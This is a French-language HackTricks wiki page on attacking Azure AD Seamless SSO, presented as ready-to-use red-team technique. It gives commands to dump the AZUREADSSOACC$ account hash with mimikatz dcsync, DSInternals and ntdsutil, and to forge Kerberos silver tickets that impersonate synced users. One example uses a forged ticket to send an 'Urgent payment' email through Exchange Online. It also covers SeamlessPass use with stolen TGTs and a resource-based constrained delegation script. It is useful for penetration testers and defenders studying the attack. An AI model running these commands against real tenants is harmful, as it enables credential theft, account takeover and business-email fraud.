Az - Seamless SSO

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Selon la documentation : Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise connectĂ©s Ă  votre rĂ©seau d'entreprise. Lorsqu'il est activĂ©, les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter Ă  Azure AD, et gĂ©nĂ©ralement, mĂȘme pas leurs noms d'utilisateur. Cette fonctionnalitĂ© offre Ă  vos utilisateurs un accĂšs facile Ă  vos applications basĂ©es sur le cloud sans nĂ©cessiter de composants supplĂ©mentaires sur site.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Fondamentalement, Azure AD Seamless SSO connecte les utilisateurs lorsqu'ils sont sur un PC joint Ă  un domaine sur site.

Il est pris en charge Ă  la fois par PHS (Password Hash Sync) et PTA (Pass-through Authentication).

Le SSO de bureau utilise Kerberos pour l'authentification. Lorsqu'il est configuré, Azure AD Connect crée un compte d'ordinateur appelé AZUREADSSOACC$ dans l'AD sur site. Le mot de passe du compte AZUREADSSOACC$ est envoyé en texte clair à Azure AD lors de la configuration.

Les tickets Kerberos sont chiffrés en utilisant le NTHash (MD4) du mot de passe et Azure AD utilise le mot de passe envoyé pour déchiffrer les tickets.

Azure AD expose un point de terminaison (https://autologon.microsoftazuread-sso.com) qui accepte les tickets Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets Ă  ce point de terminaison pour le SSO.

Sur site -> cloud

Le mot de passe de l'utilisateur AZUREADSSOACC$ ne change jamais. Par conséquent, un administrateur de domaine pourrait compromettre le hash de ce compte, puis l'utiliser pour créer des tickets argentés pour se connecter à Azure avec tout utilisateur sur site synchronisé :

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Avec le hash, vous pouvez maintenant générer des tickets argent :

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Pour utiliser le silver ticket, les Ă©tapes suivantes doivent ĂȘtre exĂ©cutĂ©es :

  1. Initier le Navigateur : Mozilla Firefox doit ĂȘtre lancĂ©.
  2. Configurer le Navigateur :
  • Naviguez vers about:config.
  • DĂ©finissez la prĂ©fĂ©rence pour network.negotiate-auth.trusted-uris aux valeurs spĂ©cifiĂ©es :
  • https://aadg.windows.net.nsatc.net
  • https://autologon.microsoftazuread-sso.com
  1. Accéder à l'Application Web :
  • Visitez une application web qui est intĂ©grĂ©e au domaine AAD de l'organisation. Un exemple courant est Office 365.
  1. Processus d'Authentification :
  • À l'Ă©cran de connexion, le nom d'utilisateur doit ĂȘtre saisi, en laissant le champ du mot de passe vide.
  • Pour continuer, appuyez sur TAB ou ENTER.

tip

Cela ne contourne pas la MFA si elle est activée

Option 2 sans dcsync - SeamlessPass

Il est Ă©galement possible d'effectuer cette attaque sans une attaque dcsync pour ĂȘtre plus furtif comme expliquĂ© dans cet article de blog. Pour cela, vous n'avez besoin que de l'un des Ă©lĂ©ments suivants :

  • Un TGT d'utilisateur compromis : MĂȘme si vous n'en avez pas, mais que l'utilisateur a Ă©tĂ© compromis, vous pouvez en obtenir un en utilisant le truc de dĂ©lĂ©gation de faux TGT implĂ©mentĂ© dans de nombreux outils tels que Kekeo et Rubeus.
  • Golden Ticket : Si vous avez la clĂ© KRBTGT, vous pouvez crĂ©er le TGT dont vous avez besoin pour l'utilisateur attaquĂ©.
  • Un hash NTLM ou une clĂ© AES d'un utilisateur compromis : SeamlessPass communiquera avec le contrĂŽleur de domaine avec ces informations pour gĂ©nĂ©rer le TGT.
  • Hash NTLM ou clĂ© AES du compte AZUREADSSOACC$ : Avec ces informations et l'Identifiant de SĂ©curitĂ© (SID) de l'utilisateur Ă  attaquer, il est possible de crĂ©er un ticket de service et de s'authentifier avec le cloud (comme effectuĂ© dans la mĂ©thode prĂ©cĂ©dente).

Enfin, avec le TGT, il est possible d'utiliser l'outil SeamlessPass avec :

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Des informations supplĂ©mentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent ĂȘtre trouvĂ©es dans cet article de blog.

Création de tickets Kerberos pour les utilisateurs uniquement cloud

Si les administrateurs Active Directory ont accĂšs Ă  Azure AD Connect, ils peuvent dĂ©finir le SID pour tout utilisateur cloud. De cette maniĂšre, des tickets Kerberos peuvent Ă©galement ĂȘtre créés pour les utilisateurs uniquement cloud. La seule exigence est que le SID soit un SID.

caution

Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant bloqué par Microsoft.
Pour plus d'infos, consultez https://aadinternals.com/post/on-prem_admin/

Sur site -> Cloud via Délégation Contraignante Basée sur les Ressources

Quiconque peut gĂ©rer des comptes d'ordinateur (AZUREADSSOACC$) dans le conteneur ou l'OU oĂč se trouve ce compte peut configurer une dĂ©lĂ©gation contrainte basĂ©e sur les ressources sur le compte et y accĂ©der.

python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks